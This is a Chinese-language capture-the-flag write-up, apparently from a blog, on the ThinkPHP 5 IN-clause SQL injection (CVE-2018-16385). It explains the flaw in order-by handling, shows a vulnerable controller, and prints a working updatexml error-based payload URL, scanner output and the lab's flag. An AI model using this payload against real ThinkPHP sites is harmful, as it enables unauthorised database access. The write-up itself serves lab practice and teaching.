当前位置: 首页 > article >正文

BUUCTF-Real-[ThinkPHP]IN SQL INJECTION

目录

漏洞描述

漏洞分析

漏洞复现

漏洞描述

漏洞发现时间: 2018-09-04

CVE 参考:CVE-2018-16385

最高严重级别:低风险

受影响的系统:ThinkPHP < 5.1.23

漏洞描述:

ThinkPHP是一款快速、兼容、简单的轻量级国产PHP开发矿场,解决了大部分应用开发的需求。

该漏洞与程序没有正确过滤数组的Key值,导致在public/index/index/test/index中查询字符串时出现SQL注入漏洞有关。攻击者可以利用该漏洞获取数据库中当前用户名等数据。


漏洞分析

<?php
namespace app\index\controller;

class Test
{
    public function index()
    {
   		$data=array();
	 	$data['username']=array('eq','admin');
		$order=input('get.order');//使用input函数进行安全过滤
		$m=db('user')->where($data)->order($order)->find();
		dump($m);
   }
}

漏洞原因是处理order by参数时,如果参数用户是可控的,当参数为数组key value时,未正确过滤处理数组的key值,就会导致漏洞的产生。


首先定义了一个Test类,该类包含一个名为index的公共方法。在该方法中,首先创建了一个空数组$data。然后,将值为`array('eq', 'admin')`的一维数组赋给$data['username'],即$data数组中的一个元素。接下来,使用`input('get.order')`语句获取来自GET请求的`order`参数,并将其赋给$order变量。需要注意的是,这里使用了input函数对输入数据进行了安全过滤。接下来,代码使用$db('user')->where($data)语句查询数据库中满足$data条件的数据。然后,使用$order变量对查询结果进行排序,最后使用find()方法返回查询结果的第一个匹配项,并将其存储在$m变量中。最后使用dump函数打印$m变量的内容。


漏洞复现

payload

[!] Name: ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
    Script: thinkphp5_sqli.py
    Url: http://node5.buuoj.cn:29791/
      Vulnerable: True
      Method: GET
      Payload: http://node5.buuoj.cn:29791/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

经过poc验证,此版本的thinkphp存在sql注入漏洞!



 


 flag{1ffdbdc4-020e-4d98-bb49-ccabed232769}

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)icon-default.png?t=N7T8https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

 具体漏洞分析!


http://www.kler.cn/a/229186.html

相关文章:

  • 【常见BUG】Spring Boot 和 Springfox(Swagger)版本兼容问题
  • 哪些新兴技术对智能驾驶汽车影响最大?
  • 《Keras 3 在 TPU 上的肺炎分类》
  • DM达梦启用及收集AWR报告
  • vue用户点进详情页再返回列表页,停留在原位置
  • 使用中间件自动化部署java应用
  • 【cmu15445c++入门】(6)c++的迭代器
  • Opencc4j 开源中文繁简体使用介绍
  • 记一次页面接口502问题:“502 Bad Gateway”
  • Windows安装Nginx
  • Python脚本之操作Elasticsearch【一】
  • Spring Boot整合MyBatis Plus实现基本CRUD与高级功能
  • 前端JavaScript篇之如何判断一个对象是否属于某个类?
  • 【Qt Design】界面介绍
  • fastjson 导致的OOM
  • 多个总体均值的比较(一)
  • 快速上手极狐GitLab设计管理功能
  • 读千脑智能笔记05_千脑智能理论
  • 算法——二分查找算法
  • day38WEB攻防-通用漏洞XSS跨站绕过修复http_onlyCSP标签符号
  • 深入探索 MySQL 8 中的 JSON 类型:功能与应用
  • 当前小程序跳转另一个小程序
  • 【高质量精品】2024美赛B题22页word版高质量半成品论文+多版保奖思路+数据+前四问思路代码等(后续会更新)
  • 数据类型完整版
  • Day4.
  • Linux【docker 设置阿里源】